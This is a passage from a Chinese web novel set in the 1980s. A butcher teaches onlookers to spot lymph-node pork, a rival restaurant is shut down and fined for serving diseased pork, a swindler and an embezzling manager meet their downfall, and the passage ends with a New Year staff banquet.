费立广也不废话,就说:“淋巴肉要是好东西,屠宰场能不卖吗?正规屠宰场出来的猪肉都是剔掉血脖那一块儿,就怕吃出问题。但也有那些丧良心的,专门收血脖,剁吧剁吧做成肉馅儿,混进包子饺子里便宜卖。你想想,俗话都说好肉不做馅儿,都拿来做馅儿了,这肉能好吗?” 他的解释通俗易懂,比什么淋巴结里含有病原体寄生虫之类的科普容易理解多了,现场围观群众听明白了,立刻意识到淋巴肉不是什么好东西。 要是淋巴肉没问题,屠宰场能把好端端的肉剔除丢弃吗?外面卖的槽头肉能这么便宜吗? 有人又问:“师傅,您再给大伙儿说一说,这淋巴肉要怎么和好肉区分啊?” 费立广从善如流,割下两条肉做对比,示意人们上前细看。 “看到了没?右边这块肉上面有一颗一颗的小疙瘩,这就是淋巴肉;左边的肉就很光滑,是正常猪肉的纹理,没有疙瘩。” 众人左右对比着看,啧啧称奇,这淋巴肉长得就疙疙瘩瘩,看着就不健康。 费立广又割了一块肉,这次,他示意大伙儿都来摸一摸。 “有时候这淋巴结长在肉里面,光看表面分不出,得上手摸一摸,摸着不平整、有疙瘩的,十有八九也是淋巴肉。” 当费立广给众人讲解淋巴肉的分辨要点时,被挤到人群外的小记者不仅没生气,反而举起相机,抓拍了好几张在场群众的照片。 有人说:“怪不得有的包子铺卖的肉包子特别便宜,算下来比自家做的成本还低,原来用的是淋巴肉啊。” 又有人说:“我以后再也不出去买包子吃了,还有饺子馅饼……凡是带肉馅儿的都不能吃了。” 还有人问费立广:“师傅,您给说说,这猪身上还有哪个地方的淋巴结多啊?” 费立广被人群簇拥着,兴奋得一张老脸红润,嗓门都洪亮起来,一边分解着猪肉,一边向人们讲解淋巴结主要分布的位置。 他也没忘了正事,在打开猪肚,提溜出一串内脏时,三下两下把花冠似的猪肠油割了下来,举起来向在场众人展示。 “别看这块肉肥,做的时候要注意了,上面全是淋巴结,吃之前必须要剔干净。要是没剔干净,里面藏了绦虫,那就坏事儿了!” 小记者眼疾手快,拍下了费立广提着猪肠油的照片。 他已经想好了报道标题——《警惕!食品安全新隐患,淋巴肉流向餐桌》 人群边缘站着几个隔壁从乌全年代出来的客人。 听完费立广的科普后,几个人面有菜色,胃里不断翻滚,几欲呕吐。 刚刚…… 饭店免费赠送的烤肉,看形状就是猪肠油,他们吃得还特别的香,咬到颗粒状的小疙瘩时,还特意用力咬开,咯嘣咯嘣的,吃起来有些弹牙。 一想到自己之前咬开的疙瘩肉就是藏着病原体和寄生虫的淋巴结…… 终于有人忍不住了,扶着路边的行道树,哇地一声吐了出来。 受他影响,另外几个人也接二连三地吐了出来。 随着一篇关于淋巴肉的报道见诸报端,越来越多的人关注起了食品安全的问题。 普通人开始注意起淋巴肉的问题,并按照报纸上写的分辨方法,在购买猪肉时检查有没有淋巴结。 乌城的工商所也开展了一场关于食品安全的专项执法行动,突击检查餐饮商铺、食品加工企业以及农贸市场,对发现的淋巴肉当场进行了查扣。 在这场风波中,受到最大影响的一是用淋巴肉做肉馅儿的小饭店和部分单位食堂,另一就是乌全年代了。 先是有客人质疑:“你们送 的烤肉是用什么肉做的?怎么上面疙疙瘩瘩的?是不是淋巴肉啊?就是报纸上说的那什么猪肠油?” 服务员慌忙解释:“不是不是,我们用的是鸡冠油,不是同一个东西。” 客人又问:“鸡冠油?我怎么没听说过这玩意儿?在猪身上哪个位置?” 服务员磕磕绊绊地说:“就、就……就是猪肺上的……” 客人怀疑:“猪肺上还长了这么大块的肥油?” 又有人喊服务员:“你这烤肉上怎么都是疙瘩?报纸上可都说了淋巴结不能吃,你们厨师怎么都不剔干净啊?” 乌全年代内此起彼伏的都是对免费烤肉的质疑声。 服务员急了:“免费送的,哪来这么多要求?!不想吃就拉倒,显得好像是我们店求你们吃似的,不花钱的肉还这么多事儿,惯得你们!” 有的客人听了这话有些生气。 “你怎么说话的?什么叫不花钱的肉?我要不在你们饭店吃饭,你还能白送我一盘肉?” 其他人连声附和: “虽说肉没收钱的,可这一桌子的菜都是花了钱的啊!” “要不是看在免费送肉的份上,谁会来你们店里吃饭!结果你们就拿淋巴肉来糊弄人,真是黑心!” 服务员不甘示弱,叉着腰舌战群儒,不一会儿其他服务员和厨师也来助威。 店里吵吵嚷嚷,谁也没注意到从大门处进来一行穿着蓝色制服的人。 带头干部环顾一圈,扬声问道: “谁是饭店负责人?我们是乌城工商所的,不久前收到你们饭店存在食品安全方面问题的举报,请提供饭店所用肉类的检疫证明和进货凭证!” 听到工商所的人来了,乌全年代的服务和厨师顿时一静,店里一时间只有客人们的声音。 “太好了!终于有人来查一查这家黑店了!” “工商所的同志,我正要向你们举报,厨房给我们上的是淋巴肉!” “同志,这家店用的肉肯定有问题,你们千万要仔细检查!” 有服务员上来试图把工商所干部糊弄过去,悄悄塞个红包,被对方义正辞严地拒绝了。 几个厨师的脸色煞白,眼睛不住地往厨房瞥。 带头干部看出不对,带着人快步走进后厨,客人们看热闹不嫌事大,纷纷好奇地跟了上去。 服务员无力地伸手想要阻拦,被汹涌的人群挤到了一边。 他呆立在门口,脑海里反复回荡着“完了”两个字。 这下是真完了。 不多时,厨房里一阵哗然声,接着是几声响亮的干呕,有人捂着嘴就冲了出来。 没挤进去的人急忙追问道:“怎么了怎么了?你看到什么了?” 被问的人把刚吃进肚的饭菜都吐了个一干二净,吐到只剩黄水了,仍在不停地呕吐。 “里面,哕……都是,哕……肉……蛆……哕!” 问话的人好奇心暴涨,厨房里到底有什么东西才能让这哥们恶心到吐个没完。 他像个泥鳅般挤进了人群,探头朝厨房里一瞅,下一秒,他脸色惨白地就冲了出来。 “呕——” 整间厨房脏到让人作呕,到处都是黑黄色的油泥,墙和地面脏得看不出原本颜色。 蔬菜和肉类被随意堆在地上,满地污水横流,大冬天的还有一团团的苍蝇。 最恶心的是墙角堆着的几头死猪,沾满了泥土,看起来像是刚从地下刨出来的,腹部膨胀如鼓,散发着浓烈的尸臭。 一想到自己刚刚吃下的食物就是在这样的环境中制作出来的,即使是意志力最坚强的人也忍不住要吐出来。 在此起彼伏的呕吐声中,一个穿着西装的家伙缩着脖子,顺着墙根想要溜走。 “您这是要去哪儿啊?” 一个意想不到的人挡在了他的去路上,双手抱臂,笑眯眯地说: “老贾啊,好久不见,您这是急着上哪儿去?” 老贾,也就是贾忠实,一双小眼睛滴溜溜地转。 “姑娘,你认错人了,我姓郑,不是什么老贾。” 贺明珠轻笑:“您这是和我开玩笑呢吧,我该称呼您贾董事长,贾经理,贾忠实,还是老贾呢?” 当初贺明珠还在摆摊时,老贾眼红她的生意,就让副食品商店的赵大哥断了棒骨供应,想要以此挤兑走她。 没想到贺明珠转而通过梁志胜的关系从肉联厂进货,老贾偷鸡不成蚀把米,自家生意黄了,索性吞了棒骨的尾款,逃得找不到人,让赵大哥吃了个闷亏。 这家伙在外面坑蒙拐骗一圈后,又回到了矿务局,不仅没吸取上次的教训,还试图躲在生活服务公司的背后,继续抢贺明珠的生意。 只是没想到会在这个节骨眼上遇到贺明珠,更没想到会被她认了出来。 贾忠实尴尬地龇牙笑,露出两颗大黄牙,眼睛慌张地不住转悠。 “哈哈,我开个玩笑,你记忆可真好,好久不见,好久不见啊……” 说着话,贾忠实抽了个空子,猛然加速,要从贺明珠的侧方溜走。 “谁和你好久不见,玩儿蛋去吧……” 话音未落,贾忠实忽然被人拦了下来。 贺明军挡在他的面前,似笑非笑:“您这是要去哪儿啊?” 贾忠实脸部肌肉抽搐,他比贺明军矮了一头多,只能仰着头看他。 “哈哈,哈哈,开玩笑,开个玩笑……” 他眼角余光瞥向另一个方向,正要蓄力逃跑时,另一个年轻男人走了过来。 “老板,明军,你们说的就是他?” 徐和平上下打量,啧啧道:“这人看着也不怎么地啊。” 三面围攻,无处可逃,贾忠实绝望了。 人多了就不起啊! 第144章 第144章处罚与报应(补全)…… 乌全年代被勒令停业了! 当生活服务公司总经理得知这一消息时,整个人都懵了。 “好端端的为什么要查封我们饭店?你们得罪人了?还是没打点到位?要不给工商所的送点?” 总经理拿眼睛往乌金年代的方向瞥,示意是不是乌金年代在背后使坏。 办公室主任简直不知该说什么是好。 他们这个总经理只在乌全年代开业的时候露过面,除了每天送上楼的小灶,他对饭店的全部了解都来自于贾忠实的汇报,以及偶尔在店里请客吃饭。 但问题是,乌全年代的厨师和服务员都认得总经理,在面对他时当然是拿出了最好的服务态度,保证他的感受绝对是如沐春风、宾至如归,没有丝毫不快。 而总经理本人自持身份,不会亲自去厨房视察工作,加上他此前没有餐饮行业的工作 经验,明明办公室就在饭店楼上,却做了睁眼瞎。 如今乌全年代被工商所勒令停业,查封全部食材并送检,都出了这么大的事,总经理还没意识到问题所在,觉得只是被人做局整了。 某种程度上,这也算得上是国企的特色,出事后第一反应是阴谋论。 “区区一家私人饭店也敢和我们对着干,真当我们单位在机关没关系?你去联系市政府的那谁,下午跟我去一趟。我就不信了,真能由他们欺负人不成!” 办公室主任张了张嘴,张口欲言。 总经理奇怪地问他:“你还在这儿杵着干什么?快去准备啊!” 办公室主任一咬牙一跺脚,说:“领导,要不您先去楼下店里看看?” 总经理不解地问:“去店里干嘛?” 办公室主任艰难地说:“您去看了就知道了……” 说完,他逃也似的离开了总经理办公室。 总经理摇头,不快道:“话也不说清楚就走,奇奇怪怪的。” 好奇心驱使下,总经理还是去了一趟楼下。 乌全年代关着大门,里面没人,关着灯,门上贴着一张工商所的封条。 总经理从二楼的楼梯处预留的小门直接下到一楼饭店,甫一进来,脚边几只大黑耗子吱吱叫着蹿了过去,他没防备,吓得一屁股摔坐在地。 其中一只耗子慌不择路,从总经理裤子上跳了过去,吓得他失声惊叫,毫无形象。 好不容易从地上爬起来,总经理原本整洁的中山装上滚的满是灰,看起来狼狈不堪。 总经理气急败坏,从墙角拎起把扫帚,冲着耗子逃窜的方向就追了过去。 可当他真追到了耗子,手里的扫帚却怎么也挥不下去。 面积不大的厨房,四处都是乱窜的耗子,大大小小,足足有几十只,吃得肥壮,见人也不怕。 而比满地耗子更有冲击性的,是扑面而来的腐臭味和一团团乌黑的苍蝇云。 入冬后,矿务局对各机关和企事业单位进行统一供暖,其中就包括了生活服务公司的办公楼。 即使室外滴水成冰,室内的温度也能保持在二十摄氏度左右。 因此,厨房内随地堆放的食材加速腐烂,呈现出比之前更令人作呕的状态。 加上乌全年代的厨房本身卫生条件堪忧,现在更是雪上加霜,比夏天的公共厕所还要让人受不了。 总经理僵硬地站在原地,不敢相信眼前看到的一切。 他的眼角余光扫到碗柜角落上的一摞碗盘,有些眼熟,似乎是之前专门用来给他送饭的。 当总经理定睛一看,柜子里颤颤巍巍探出两只纤长的黑线,接着,一只乌黑发亮的大蟑螂雄赳赳气昂昂从碗柜里爬了出来,身后还跟着一串小蟑螂。 他想到每天送来的饭菜就是盛放在这样的碗里时,心理防线彻底崩塌了。 当办公室主任再次看到总经理时,他在厕所里大声呕吐,门口站着一群职工,低声讨论领导这是怎么了?吃坏肚子了吗? 办公室主任把围观人群都赶回工作岗位,自己留下来,殷切地上前关怀总经理。 总经理没搭理他,吐得涕泪横流,腮帮子都肿了一圈。 办公室主任小心地问:“领导,咱们下午还去找人解决饭店的事儿吗?” 回应他的是总经理越发猛烈的呕吐声。 办公室主任不敢再说话,急忙上前,帮着总经理拍背顺气,又倒了一杯水,递到他手边。 缓过一阵,总经理接过水杯,漱了漱口,抬起头来,露出红肿的眼圈,嘶哑着嗓子说: “贾忠实呢?这都是贾忠实干的坏事,我被他害苦了啊!” 贾忠实此时正在看守所。 贺明珠把贾忠实交给了苦主赵大哥,赵大哥喜出望外,当即就要贾忠实吐出之前骗走的钱。 贾忠实先是假意答应,说要去银行取钱,半路想跑,险些逃走,最后关头被赵大哥抓住。 贾忠实无处可逃,耍赖说自己没钱,赵大哥气不过,一怒之下就把他告到了公安局。 由于事实清楚,证据确凿,贾忠实被以诈骗罪的名义逮捕,等待法院的审判。 就在贾忠实被关押期间,报纸上刊登了乌城某饭店违法使用病死猪肉做菜的报道。 记者洋洋洒洒地写了上千字,详细描述了该饭店极其恶劣的厨房环境,并配上了现场实拍照片。 一时间,这篇报道在矿务局掀起了轩然大波。 尽管报纸上没有写饭店的全名,却鸡贼地提到该店是此前“真假美猴王”饭店风波中的六耳猕猴,读者瞬间了然——哦,原来是那家乌全年代啊。 由于报道中生动形象地描绘了厨房堪比公厕的卫生条件,满地流窜的老鼠蟑螂,以及饭店管理者为了节约成本,偷偷从疫区挖出病死掩埋的生猪,冒充检疫合格的猪肉售卖。 人们头一次知道原来饭店的后厨居然可以这么脏,而为了多赚钱,饭店居然可以轻易就将食客的生命和健康置之不理。 没在乌全年代吃过饭的,在看过报道后庆幸不已,而在乌全年代用过餐的,已经是出离愤怒了。 好嘛,合着我们花钱吃饭,结果饭店端上来的就这玩意,还不如喂猪的泔水! 厨房脏的话,还能自我安慰饭店生意太好,顾不上打扫卫生,至少做出来的菜是干净的; 可要是食材变质了,那就是从源头上出了问题,事后想要弥补都弥补不了。 最关键的是,饭店居然使用了病死猪肉做菜。 要知道出现猪瘟的地方,一般是要将疫区的生猪全部扑杀,进行无害化处理,以**入市场,造成食物中毒事件。 乌全年代竟然敢将疫区掩埋的死猪挖出来,把已经开始腐烂的猪肉洗干净后做成菜品送上餐桌。 蔬菜没洗干净的话,也就吃到泥土和虫子,最多恶心呕吐;但猪肉要是变质了,有可能造成食物中毒和食源性疾病,严重的话会危及人的生命健康。 乌全年代为了利润而不折手段,丝毫不顾客人的生命安全,和谋财害命没有区别。 报纸上的消息传出后,不少在乌全年代用过餐的人急忙跑到医院检查身体。 此前有人在饭后上吐下泻,但当时病人没联系到食物中毒上面,只当是自己肠胃不适,如今才意识到是乌全年代出售变质食物的缘故。 也就是在八十年代,冰箱尚未普及,加上不舍得浪费粮食,大多数人家做多了的饭菜都是放在橱柜中,下一顿热一热继续吃。 只有冬天的温度低,食物放在室外就像放在天然冰箱,不用担心变质的问题;而在春夏秋三个季节中,食物就只能放在常温中,任由其缓慢腐坏。 久而久之,人们习惯了吃稍微有些变质的食物,习惯将馒头上发霉的地方撕掉后继续吃。 尽管有些黑色幽默,但在某种程度上,变质的食物也锻炼出了八十年代人民坚强的肠胃,因为肠胃脆弱的人压根没机会活到冰箱普及的年代。 也正因如此,即使乌全年代存在出售变质食物的问题,居然没造成大规模的食物中毒事件。 不过,当知道真相后,受害者们蜂拥向乌全年代,要求退还餐费,并赔偿医药费。 乌全年代已经楼去人空,只剩下空荡荡的饭店,以及大门上有些褪色的封条。 不过跑得了和尚跑不了庙,乌全年代的上级单位生活服务公司还在楼上。 不少知道内情的人堵到了生活服务公司的门口,要求给个说法。 生活服务公司的人每天上班时如过街老鼠,在受害者的夹击中抱头鼠窜。 舆情之下,工商所作出了对乌全年代的行政处罚决定。 经工商所查证,乌全年代存在卫生不合格、销售病死猪肉和变质食物等违法情况,足以造成严重食物中毒,责令其停产停业,吊销营业许可证,并处以三万元罚款。 由于乌全年代的营业许可证是以生活服务公司下属子公司的名义办理的,负责人一栏写的是总经理,因此需要由生活服务公司负责缴纳罚款。 在收到行政处罚决定书后,总经理当场就绷不住了。 本来就是因为生活服务公司的收入太低才开办饭店,没想到现在没挣到钱不说,还要掏出三万块的罚款上交国库。 这简直是对本就经济困难的生活服务公司趁火打劫,要是单位轻轻松松就能掏出三万块,还至于折腾着出租办公楼、开饭店吗?! 办公室主任愁眉苦脸:“到哪儿去找三万块啊?下个月工资还不知道怎么发,哪有钱交罚款?” 总经理像是一夜之间老了十岁,两腮深深地凹陷下去,法令纹像是被刀刻在了脸上。 “支票……” 办公室主任没听清:“什么?” “我说支票!” 总经理猛地抬起头,眼中像是在燃烧。 “贾忠实之前留下了一张支票,里面有两万四千块。” 办公室主任苦着脸说:“那也不够三万啊,还差六千块呢。” 总经理狠狠瞪了他一眼:“谁说要交罚款了?!把支票的钱提出来,我们单位的人把钱都分了。” 办公室主任先喜后忧。 “这不好吧?我们是国企,不交罚款的话,那不是和机关对着干吗?而且还有门口那帮人,嚷嚷着让我们赔他们钱呢……” 总经理红着眼睛说:“顾不上了!我们单位自己都活不下去,哪还有余力管别的!” 之前开办饭店要用到钱,贾忠实说 虽然支票上有钱,但这钱放在银行每天都有十多块钱的利息,要是现在拿出来用的话,有些可惜。 贾忠实又说,既然支票给了生活服务公司,两万四千块钱的本息自然都归公司。这钱要怎么用,全权由总经理做主。 总经理听了很心动。 他想着,账上写着收到房租两万四千块,没写利息,他是不是可以把利息截留下来呢? 两万四千块……按百分之三的利率来算,一年足足有将近七百块的利息呢! 要是一直不动用支票上的钱,那么利息就会一直增长……也就是说,今年七百块,明年就是一千四百块,后年就是两千一百块……要是再加上复利,那可是一大笔钱! 总经理算完账,兴奋得心直跳,当即就决定了,如果不是紧要关头,绝对不能动用支票上的钱。 为此,在开办乌全年代时,总经理挪用了单位公款,把原本用来给员工发工资的钱都用在了饭店的前期装修和后期运营上。 他盘算得很好,先暂时挪用原本要发工资的钱,等后面饭店盈利后,就可以用利润填补上亏空。 可是,总经理没想到,乌全年代居然会爆出食品安全的问题,被工商所抓了个现行不说,还上了报纸,社会上议论纷纷。 作为乌城首个违反食品安全法规的饭店,所谓杀鸡儆猴,工商所在作出对乌全年代的处罚时采取了从严从重的方针,直接定格处以三万元钱的罚款。 总经理的美好幻想像是肥皂泡,一下就被残酷的现实给戳破了。 无奈之下,他也只能选择动用支票上的两万四千块钱,先把单位的亏空填了。 这让他心如刀绞。 毕竟工商所的罚款是针对生活服务公司的,而单位账面亏空的问题是要追究到他这个一把手的。 而且如果迟迟不发工资、员工闹起来的话,也会直接对他本人造成影响。 因此,即使极其不舍,总经理还是选择了先提出支票里的钱,把员工的工资发了。 然而,财务拿着支票去银行提款时,却出了问题。 支票是真的,但支票账户里一分钱都没有 ——这是一张空头支票。 当得知这一噩耗时,办公室主任不可置信地说:“怎么会没钱呢!我亲自去银行确认过的啊,里面有钱,有钱啊!” 财务仓惶无措地说:“银行的人说了,里面的钱早就被转走了,支票作废,没用了……” 总经理什么都没说,右手捂着胸口,一头栽倒在了地上。 “领导?领导!” “快去叫救护车!” 当生活服务公司的总经理因挪用公款被立案调查时,他本人因脑梗住院,还处于昏迷状态 为了防止犯罪嫌疑人逃跑,二十四小时都有人在医院看守他。 这天深夜,总经理终于苏醒。 由于脑梗后遗症,他说话含糊不清,像是大舌头,艰难地一个字一个字往外蹦。 面对看守人员的讯问,总经理只是磕磕巴巴地反复说着同一个名字。 “贾……贾、忠……忠……实……” “贾……忠……实……” 与此同时,看守所里的贾忠实正在会见亲属。 来见他的是个年轻男人,头发抹得油光水滑,带着一副黑框眼镜,三分像知识分子。 这人打扮的很是体面,可不知道为什么,总会让人想起“沐猴而冠”、“衣冠禽兽”之类的词。 他藏在镜片后的眼睛,时不时露出与贾忠实相似的奸滑目光。 “二叔,你怎么又把自己给弄进来了?” 贾忠实抓着铁栏杆,渴求地说:“大侄子,你先别说这个,给我带吃的和衣服了吗?” “大侄子”一摊手,说:“叔,你也知道,我现在结婚了要养家,手头紧得很,哪有多余的钱买这买那啊。要不你把钱藏哪儿了告诉我,我拿了钱就替你买,想买什么都行。” 贾忠实并不意外,他这位侄子比他自个儿的亲儿子还像他,两手空空地来探监实属正常。 “我怎么可能有钱?我要是有钱早就赔给政府了。再说了,咱们叔侄一场,等我将来走了,我又没儿子,我的东西不全是你的吗?” “大侄子”嗤了一声,显然是不吃贾忠实画的饼。 “二叔,你要是没要紧事的话,我就先走了,我单位还有事呢。要是让单位知道我有个累犯亲戚,领导该对我有意见了。” 见“大侄子”作势要起身离开,贾忠实连忙道: “大侄子,你先别急着走,我有好事儿要告诉你!” “大侄子”敷衍地说:“二叔,你都五进宫了,能有什么好事儿?再说要真有好事儿,你还能记得我这个侄子?行了,我这一趟算是替我爸来过了,您就在号子里好好改造吧。” 见“大侄子”真要走,贾忠实顾不上卖关子了,急道:“我见着你那个前媳妇了,她现在可是有钱人!” “大侄子”眯起的小眼睛唰地一下就瞪大了。 “二叔,你是不是认错人了?她一个小村姑,能有什么钱啊?” 嘴上说着不信,“大侄子”的眼睛却死死地盯着贾忠实,不错过他脸上一丝一毫的表情。 贾忠实这会儿反倒不急了,嘿嘿一笑。 “你二叔我别的不说,这双招子可是好使得很,别看只见了你那个农村媳妇一次,可我一眼就能认出来。” “大侄子”追问道:“二叔,你在哪儿看见你侄媳妇的?” 贾忠实说:“我记不清了,得好好想一想,下次你来了我估摸就能记起来。” “大侄子”推了推眼镜,仔细盯了一会儿贾忠实,缓和了语气,亲热地说: “二叔,我这次来得急,没顾得上带吃的和衣裳,你等一等,我下次就给你送过来。” 贾忠实笑得露出一口黄牙。 “哎,好侄子,我就知道你心里有二叔!也别光带衣裳,给我拿几条烟,里面有烟好办事。” “大侄子”假笑道:“没问题,我带几条好烟过来。” 贾忠实不客气地提要求:“最好是牡丹烟,实在不行大前门也成,劳动烟就算了,谁抽这玩意儿。” “大侄子”耐心地说:“行,都行,你等着,我过两天就给你送来。” 等离开看守所后,“大侄子”背着人狠狠啐了一口。 这老不死的,骗了那么多的钱都不知藏哪儿去了,还要让自己花钱给他买这买那,真是臭不要脸! 不过,也不知道他嘴里说的有几分真假…… 难不成,他村里的那个前妻还真发达了? 话说回来,许巧燕这个小村姑能从哪儿弄来钱呢? 要是真有钱的话,他是不是也能分一杯羹呢? 第145章 第145章新的一年 一年又一年。 1985年的春节来的晚了些,直到二月十九号才过大年三十。 忙忙碌碌了一年的人们,趁着过年好好犒劳一下自己。 在过年放假前一天,贺明珠吩咐乌金年代不要对外接待客人,腾出场地来给自家人办一场年会。 没有领导讲话,没有员工汇报,没有强迫表演,也没有客户答谢,有的只是丰富多样的美食,轻松惬意的环境,以及奖品丰厚的抽奖环节。 参加的人相当多,贺明珠手下的几家饭店食堂和厂子的员工都来了。 有最初跟着贺明珠创业的徐和平,也有后续加入的冯解放、曹全安、田润花、杨冬梅、纪平波等人,还有郝家村的郝翠兰、郝大娘、齐小弟…… 人群熙熙攘攘,将乌金年代偌大的前厅挤得满满当当。 “哟,是老冯头,好久不见啊!” “老曹,你这肚子,在分店偷吃了多少好东西啊?” “嘿嘿,都说厨子不偷五谷不收,我吃两口怎么了?贺老板都没说什么。” 冯解放指着曹全安笑道:“你这老东西,贺老板那是没说什么吗?她那是不和你一般见识。” 田润花悄悄问郝翠兰:“曹师傅真偷吃啊?” 郝翠兰骄傲地说:“他不敢的 ,有俺看着呢!” 郝大娘补了一句:“曹师傅隔三差五就来俺们村里买只鸡,要是见着杀猪的他还要再买一刀肉,他那肚子啊,都是叫肉催的。” 曹全安不知道那边女同志们正在讨论他晚年发福的事,他在忙着和冯解放攀比,看看谁的徒弟教得好,但这会儿他徒弟不在身边,说服力就有点不足。 曹全安扬声喊道:“董大力呢?我徒弟呢?刚刚不是还在这儿呢吗?人呢?” 一旁的齐小弟说:“大力哥去后厨帮忙了,今天人多,他怕那边忙不过来。” 冯解放夸道:“小董这孩子好,厚道,比你这个师父可强多了,简直不像你能带出来的徒弟。” 曹全安不服:“怎么就比我强了?一根筋的傻小子,有福都不会享!” 冯解放拍拍曹全安肥厚的肩膀,说:“行了,别絮叨了,咱们也去后厨帮忙吧,这么多的人,光靠费立广他们还真不一定能忙得过来。” 曹全安不情不愿地跟在冯解放身后,嘟囔着说:“一年到头在厨房干活,好不容易有个吃现成的机会,怎么还自己送上门干活啊……” 冯解放和曹全安带着自己手下的厨师们来到后厨,费立广看到就笑了。 “老哥哥们,你们可算来了,贺老板一口气拉来这么多人吃饭,我这儿可真是忙不过来啊!” 冯解放熟练地换上工作服,一边洗手一边说:“你安排吧,今天我们都听你指挥,随你使唤。” 曹全安不放心地补了一句:“也不能使唤我们太狠了啊……” 费立广喜笑颜开,连声地说:“放心放心,都是些干熟的活儿,不困难的!” 曹全安小声嘀咕:“总觉着这话有点假……” 费立广让人搬来十头羊,刚刚宰杀放血,体表还残留着余温。 他红光满面,欢快地说: “贺老板说了,今天要请大伙儿吃全羊宴,羊已经杀好了,就等着各位大厨帮忙拆分下锅!” 曹全安低头看看羊,抬头看看费立广,再扭头看看一旁的冯解放。 冯解放麻利地撸起了袖子,指挥徒弟把羊抬到一旁的台面上。 注意到曹全安怨念的目光,冯解放说:“看什么呢?赶紧干活啊,外面的人还等着吃呐。” 曹全安磨牙,转头对跟着他过来的厨师说:“没听到冯师傅的话吗?赶紧的,来活了!” 后厨忙得热火朝天,前厅的气氛也是一片火热。 劳动服务公司的小年轻们很快和同样年纪不大的罐头厂女工们打成一片,双方叽叽喳喳聊起各自单位在这一年遇到的稀奇事。 “……那人嘎嘣一下就躺地上抽抽了,嘴里往外吐白沫,比电视上中毒的人演的都真!” “不嫌单位”兄绘声绘色地描述事发场景,比说书的都夸张,听得女工们一愣一愣的。 “说时迟那时快,一群五大三粗的流氓就冲进了我们食堂,担架上抬了个人,嚷嚷着食堂吃死人了,摔盘子摔碗的,把来吃饭的人都给吓走了!” 年轻的女工忙问道:“那要怎么办呀?这不是成心诬陷你们吗?” “不嫌单位”兄猛地一拍手心,模仿单田芳拍惊堂木。 “那就要说到我们食堂的贺老板了!” 这边在说书,而在另一边,养鸡的郝村长和卖羊的阿布日古大爷兴致勃勃地聊起了养殖生意。 “想致富就不能光靠种地,种地一年下来才能挣几个钱?用老话说,就叫要‘想发财快,庄稼搅买卖。’搞点副业才能来钱。” 阿布日古大爷的汉语不好,听得半懂不懂,连蒙带猜,大概理解了郝村长的意思。 “是,我们草原也是。只放羊,钱少少的;羊肉卖到北京,钱多多的。” 两个老头你一言我一语,即使语言不通,也不妨碍他们聊得开怀。 阿布日古大爷拿出随身携带的白酒,把盛酒的皮囊递给郝村长,示意他喝一口。 郝村长也不推辞,爽快地拿过来,仰起脖子就灌了一大口。 这酒极烈,有个“闷倒驴”的外号,郝村长被辣得直吸气,阿布日古大爷哈哈笑着冲他竖大拇指。 旁边,是恩和森与王东文在聊天。 由于经常往来于北京和草原,恩和森的汉语水平得到了极大的提高,日常交流完全不成问题。 之前王东文追踪报道了阿坦嘎查与国营收购站的羊肉之争,形成内参上报到中央后,有领导作出“值得认真思考”的批示,并转发给了当地政府。 当地政府迅速做出反应,将批示精神和内参报告以正式文件的形式下发各县,要求各地学习阿坦嘎查牧民经销羊肉的经验。 原本政府内部对于牧民的行为还有争议,一直存在不赞同的声音,但在此之后,基本没有人再提什么“投机倒把”之类的言论了。 阿坦嘎查牧民的羊肉经销生意也越来越顺利,一年就能向市场提供两百万斤的新鲜羊肉。他们的羊肉收购点四面开花,最远的甚至设置在外省。 王东文也由此跃升为报社的资深记者,多篇报道刊登上报,更是被评为年度优秀记者。 他并没有因此自满,依旧扎根群众,骑着辆破自行车,穿梭在田间地头。 听说恩和森来了乌金年代,王东文带着笔记本来找他采访,对阿坦嘎查的羊肉生意进行追踪调查。 恩和森骄傲地说:“我们挣的钱一起拿去买了大卡车,一天就能把羊肉运到北京,特别快!” 王东文在替他高兴之余,关切地询问:“路上安不安全?有没有遇到车匪路霸?” 恩和森笑得露出一口白牙:“我们人多,有刀,有枪,他们不敢的。” 王东文被吓了一跳,急忙道:“杀人可是犯法的!” 恩和森露出憨厚的笑容:“不杀,就是和他们好好商量。” 王东文:…… 兄弟,你这个“商量”是正经商量吗? 一旁的过道上,徐和平扛麻袋似的扛着贺小弟轻快地跑进来,身后跟着的纪平波连声嘱咐: “哎,你小心点,别摔了他!” 贺小弟一点也不怕,兴奋得脸蛋红通通,尖着嗓子大笑。 “再来一次!再来一次!” 徐和平把贺小弟放回地上,活动了一下肩膀。 “你小子是吃什么长的,怎么一年下来胖了这么多?沉得我都快扛不动了。” 贺小弟骄傲地说:“吃我姐做的饭!还有我二哥!” 徐和平拿手比划了一下贺小弟的身高:“好口福啊,怪不得长了这么多,都快到我的腰这儿了。” 贺小弟嘎嘎地笑,像 个跳豆似的蹦跶。 “我明年比今年高!我以后长得比你还要高!” 纪平波笑着说:“可不能拿你和平哥当参考对象,你将来长得比他高是正常的。” 由于从小营养不良而导致目前身高只有一米七,徐和平不满地喊了一声:“喂!” 纪平波安慰他:“没事,都说二十三蹿一蹿,你还有长高的机会的。” 徐和平:…… 徐和平痛心疾首:“平波,你怎么也学坏了!” 纪平波故作不解:“啊?有吗?” 他思索片刻,给出了原因:“大概是我和你们混在一起太久了,被污染了吧。” 徐和平:“……你小子特娘的也要点脸吧!” 纪平波微笑:“全靠师父教得好。” 贺小弟听着他们斗嘴,乐得嘎嘎直笑。 贺明军路过时,见这两人还有空斗嘴,直接一手一个拽着就走。 “我都快忙得原地起飞了,你们怎么还这么闲?走,都给我干活去!” 徐和平试图挣扎:“等等……今天不是请我们吃饭的吗?我不要干活啊——” 乌金年代的前厅里热闹极了,人人脸上都带着笑,气氛轻快又亲热,似乎提前过了年。 当贺明珠进场时,所有人都热络地和她打招呼。 “贺老板,你来了!” “老板,你怎么才来?我等你好久了!” “小老板,你咋都不去村里看看俺们啊?” “明珠,最近怎么样?” 各式各样的称呼从不同人口中发出,指向了同一个人。 贺明珠笑意盈盈,穿了一件新做的棉服,长发扎成马尾,看起来精干又利落。 她和每个人交谈,即使只有一两句话,也没有冷落在场的任何一个人,让所有人都感到一种宾至如归的亲切和温暖。 不管是饭店食堂,还是罐头厂,亦或是养殖场,她总能说出这一年他们做出的成就。让交谈对象知道,不管多忙,她一直在关注着他们,让人心里感到热乎乎的。 劳动服务公司的小年轻们起哄,让贺明珠给大家讲几句。 贺明珠笑着拒绝了。 “说好了今天不汇报不讲话,我们不搞这种官样文章,说到就要做到,大家舒舒心心吃顿大餐,来年我们继续努力。” 罐头厂女工们虽然知道贺明珠是实用主义者,和国企干部的官僚做派完全不同,但没想到她连领导最爱的讲话环节都能干脆删掉。 